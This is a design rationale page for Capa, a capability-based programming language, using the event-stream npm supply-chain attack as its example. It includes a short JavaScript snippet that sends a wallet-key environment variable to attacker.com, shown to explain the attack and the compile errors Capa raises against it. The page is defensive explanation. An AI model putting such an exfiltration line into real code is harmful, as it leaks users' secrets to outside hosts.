Why Capa?
The case for moving authority into the type system, in three steps: the problem (ambient authority), a concrete attack it enabled (event-stream), and the discipline Capa proposes in response.
The problem: ambient authority
In Python, JavaScript, Java, Go, C#, Ruby, and almost every mainstream language, any function in any module has the same baseline access as any other function in the same process. It can open sockets, read your filesystem, leak environment variables, spawn subprocesses, change directory, without any of that being visible in its signature.
This is called ambient authority. The authority is in the surrounding environment (the process, the runtime), not in the values the function holds. A function does not need to ask for a network handle to make a network request; the network is just there.
For decades, ambient authority was treated as a convenience, not a hazard. Now, with supply-chain attacks accelerating year over year and the EU Cyber Resilience Act mandating evidence of behavioural control by December 2027, the convenience has become a liability that no major language was designed to address.
A concrete example: event-stream
In November 2018, the npm package event-stream (~2 million weekly downloads) shipped a Bitcoin-wallet-stealing payload into the Copay wallet app. A new maintainer added an obfuscated dependency, flatmap-stream, that activated only inside Copay's bundle and exfiltrated wallet keys to a remote server.
The library was nominally a pure stream transformation utility. Its public API said nothing about the network, the filesystem, or the environment. But the JavaScript runtime gave the library ambient authority over all three, and that gap between contract and capability is what the attack exploited.
function flatMap(input, f) {
// The signature says: pure stream transformation.
// The implementation can do anything.
fetch('https://attacker.com', {
body: process.env.WALLET_KEY,
});
// ...transform input...
}
fun flat_map(
lines: List<String>,
f: Fun(String) -> List<String>
) -> List<String>
// `net` and `env` are not in scope.
// The compiler rejects any attempt to use them.
...
In the Capa version, the names net and env are not visible inside the function body. They were not declared as parameters. Trying to use them is a compile error:
error: undefined name 'net'
3 | net.get("https://attacker.com")
^
error: undefined name 'env'
4 | env.get("WALLET_KEY")
^
To mount the attack, the malicious maintainer would have to change the signature of flat_map to take a Net and an Env. Every caller of flat_map in the dependency tree would then have to thread those capabilities through. The change is loud, it appears in pull requests, dependency-upgrade diffs, code review, and SBOM analyses. It is exactly the kind of signal an auditor, human or automated, can act on.
A complete walkthrough of the incident, with primary sources and the full Capa version, is at the event-stream demo.
The discipline, in three layers
Capa's capability discipline is enforced at three layers. None is sufficient on its own; together they give a strong v1 approximation to a linear type system.
Structural
Capabilities can appear only as function parameters. The analyzer rejects them as struct fields, variant payloads, return types, constants, locals, or generic args.
// Rejected:
type Service {
stdio: Stdio,
name: String
}
// error: capability 'Stdio' cannot
// appear in struct field 'stdio'
Flow
The same capability cannot be passed as two arguments of the same call. Declared capability parameters must be used (or prefixed with _).
fun main(stdio: Stdio)
f(stdio, stdio)
// error: capability 'stdio'
// cannot be aliased across
// arguments of f
Linear
The consume keyword marks parameters that take ownership. Fork/merge tracking handles branches and loops, conservative on join points.
fun close(consume f: File)
...
fun use(f: File)
close(f)
f.read()
// error: 'f' was consumed earlier
Capabilities can be attenuated
A capability is not all-or-nothing. Net.restrict_to(host) returns a fresh Net with authority narrowed to a single host. Restrictions only narrow, chaining two restrict_to calls intersects their allowed-host sets, never widens. The runtime check fires before any system call, so a blocked host never opens a socket.
fun fetch_user(net: Net, id: String) -> Result<String, IoError>
return net.get("https://api.example.com/users/${id}")
fun main(net: Net, stdio: Stdio)
// Narrow the network capability before handing it down.
let api = net.restrict_to("api.example.com")
match fetch_user(api, "42")
Ok(body) -> stdio.println(body)
Err(e) -> stdio.eprintln("${e}")
fetch_user receives the attenuated capability. It cannot reach evil.example.com even if its implementation tried, the runtime would short-circuit with an Err before any network call. The chain of authority from main downward is visible at every link.
Libraries declare their own capabilities
Capa is not limited to the built-in capabilities Stdio, Fs, Net, Env, Clock, Random, and Unsafe. A library can declare its own, SendEmail, QueryDB, PublishMessage, and the discipline applies uniformly.
capability SendEmail
fun send(self, to: String, subject: String, body: String) -> Result<Unit, IoError>
type SmtpMailer { server: String, net: Net }
impl SendEmail for SmtpMailer
fun send(self, to: String, subject: String, body: String) -> Result<Unit, IoError>
...
fun welcome(mailer: SendEmail, to: String) -> Result<Unit, IoError>
return mailer.send(to, "Welcome", "Hello!")
A function that takes a SendEmail can send email, and the type system guarantees that is the only thing the capability carries. No hidden Net, no hidden Fs. A higher-level library can encapsulate the low-level capabilities its implementation needs and expose only the higher-level contract to its callers.
What Capa does not solve
To be honest about the limits:
- A capability holder with bad intent is still dangerous. If a library legitimately needs
Netand ships a malicious version, the language cannot tell a legitimate request from a malicious one. The discipline narrows where attacks can hide; it does not eliminate trust entirely. Attenuation (restrict_to) reduces this risk further. - The Python interop boundary is a risk. Anything that crosses into Python via
py_import/py_invokeloses Capa's guarantees. The boundary is gated by theUnsafecapability so it is explicit, but the loss is real. - Capa is not a sandbox. A determined attacker with process-level access can do things the language cannot prevent (read raw memory, modify the interpreter, etc). Capa raises the bar at the source level, where most supply-chain attacks live.
- Capa is not a replacement for SBOM/SCA tooling. The two are complementary: SBOMs tell you what components are in your software; Capa tells you what each component is allowed to do.